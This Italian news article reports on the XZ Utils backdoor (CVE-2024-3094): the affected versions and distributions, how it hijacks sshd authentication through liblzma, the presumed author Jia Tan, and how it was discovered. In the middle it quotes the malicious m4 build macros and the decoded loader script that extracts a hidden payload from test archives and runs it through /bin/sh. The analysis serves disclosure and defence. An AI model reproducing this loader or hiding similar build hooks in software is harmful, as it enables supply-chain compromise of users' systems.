Nel pacchetto XZ Utils, che include la libreria liblzma e strumenti per lavorare con file compressi nel formato «.xz», è stata scoperta una backdoor (CVE-2024-3094) che consente di intercettare e modificare i dati trattati dalle applicazioni correlate a liblzma. L'obiettivo principale della backdoor è il server OpenSSH, che in alcune distribuzioni è collegato alla libreria libsystemd, la quale a sua volta utilizza liblzma. Il collegamento di sshd alla libreria vulnerabile consente agli attaccanti di accedere al server SSH senza autenticazione.
La backdoor era presente nelle versioni ufficiali 5.6.0 e 5.6.1, pubblicate il 24 febbraio e il 9 marzo, che sono riuscite a essere incluse in alcune distribuzioni e repository, come Gentoo, Arch Linux, Debian sid/unstable, Fedora Rawhide e 40-beta, openSUSE factory e tumbleweed, LibreELEC, Alpine edge, Solus, NixOS unstable, OpenIndiana, OpenMandriva rolling, pkgsrc current, Slackware current, Manjaro testing. Si consiglia a tutti gli utenti delle versioni xz 5.6.0 e 5.6.1 di tornare urgentemente alla versione 5.4.6.
Tra i fattori che attenuano il problema c'è il fatto che la versione di liblzma con la backdoor non è riuscita a entrare nelle versioni stabili delle principali distribuzioni, ma ha colpito openSUSE Tumbleweed e Fedora 40-beta. Arch Linux e Gentoo hanno utilizzato la versione vulnerabile di zx, ma non sono stati colpiti da attacchi, poiché non applicano a openssh una patch per supportare systemd-notify, che porta al collegamento di sshd con liblzma. La backdoor colpisce solo i sistemi x86_64 basati su kernel Linux e librerie C Glibc.
Il codice di attivazione della backdoor era nascosto nei macro m4 nel file build-to-host.m4, utilizzato dagli strumenti automake durante la compilazione. Durante la costruzione, attraverso complicate operazioni di offuscamento basate su archivi (bad-3-corrupt_lzma2.xz, good-large_compressed.lzma), veniva generato un file oggetto con codice dannoso, che veniva incluso nella libreria liblzma e modificava la logica di alcune delle sue funzioni. I macro m4 per attivare la backdoor erano inclusi negli archivi tar delle versioni, ma non erano presenti nel repository Git. Tuttavia, gli archivi di test dannosi erano presenti nel repository, indicando che chi ha inserito la backdoor aveva accesso sia al repository che ai processi di creazione delle versioni.
Quando si utilizza liblzma nelle applicazioni, le modifiche dannose potevano essere usate per intercettare o modificare dati, oltre a influenzare il funzionamento di sshd. In particolare, il codice dannoso sostituiva la funzione RSA_public_decrypt per eludere il processo di autenticazione in sshd. La backdoor includeva meccanismi di protezione contro la scoperta e non si manifestava quando le variabili d'ambiente LANG e TERM erano impostate (ossia, quando il processo veniva eseguito in terminale) e non erano impostate le variabili d'ambiente LD_DEBUG e LD_PROFILE, attivandosi solo all'esecuzione del file eseguibile /usr/sbin/sshd. Inoltre, la backdoor prevedeva strumenti per rilevare l'esecuzione in ambienti di debug.
In particolare, nel file m4/build-to-host.m4 erano presenti costrutti gl_am_configmake=`grep -aErls «#{4}[[:alnum:]]{5}#{4}$» $srcdir/ 2>/dev/null` … gl_[$1]_config=’sed \»r\n\» $gl_am_configmake | eval $gl_path_map | $gl_[$1]_prefix -d 2>/dev/null’
Nel primo costrutto, l'operazione grep trovava il file tests/files/bad-3-corrupt_lzma2.xz, la cui estrazione generava lo script: ####Hello#### #345U211267$^D330^W [ ! $(uname) = «Linux» ] && exit 0 [ ! $(uname) = «Linux» ] && exit 0 [ ! $(uname) = «Linux» ] && exit 0 [ ! $(uname) = «Linux» ] && exit 0 [ ! $(uname) = «Linux» ] && exit 0 eval `grep ^srcdir= config.status` if test -f ../../config.status;then eval `grep ^srcdir= ../../config.status` srcdir=«../../$srcdir» fi export i=«((head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +939)»;(xz -dc $srcdir/tests/files/good-large_compressed.lzma|eval $i|tail -c +31233|tr «\114-\321\322-\377\35-\47\14-\34\0-\13\50-\113» «\0-\377»)|xz -F raw —lzma1 -dc|/bin/sh ####World####
Non è ancora chiaro come i malintenzionati siano riusciti ad accedere all'infrastruttura del progetto xz. Non si sa nemmeno quanti utenti e progetti siano stati compromessi a causa della presenza del backdoor. L'autore presunto del backdoor (JiaT75 - Jia Tan), che ha caricato archivi contenenti codice malevolo nel repository, ha comunicato con gli sviluppatori di Fedora e ha inviato richieste di pull a Debian relative alla transizione delle distribuzioni alla versione xz 5.6.0, senza suscitare sospetti, dato che ha partecipato allo sviluppo di xz negli ultimi due anni ed è il secondo sviluppatore per numero di modifiche apportate. Oltre al progetto xz, il presunto autore del backdoor ha anche partecipato allo sviluppo dei pacchetti xz-java e xz-embedded. Inoltre, pochi giorni fa, Jia Tan è stato incluso tra i maintainer del progetto XZ Embedded, utilizzato nel kernel Linux.
La modifica malevola è stata individuata dopo aver analizzato il consumo eccessivo di CPU e gli errori segnalati da valgrind durante la connessione via ssh ai sistemi basati su Debian sid. È interessante notare che nella versione xz 5.6.1 sono state incluse modifiche preparate dal presunto autore del backdoor in risposta a segnalazioni riguardanti rallentamenti e crash di sshd, che si sono verificati dopo l'aggiornamento alla versione zx 5.6.0 con il backdoor. Inoltre, lo scorso anno Jia Tan ha apportato modifiche incompatibili con la modalità di verifica "-fsanitize=address", causando la sua disattivazione durante i test di fuzzing.
Fonte: opennet.ru
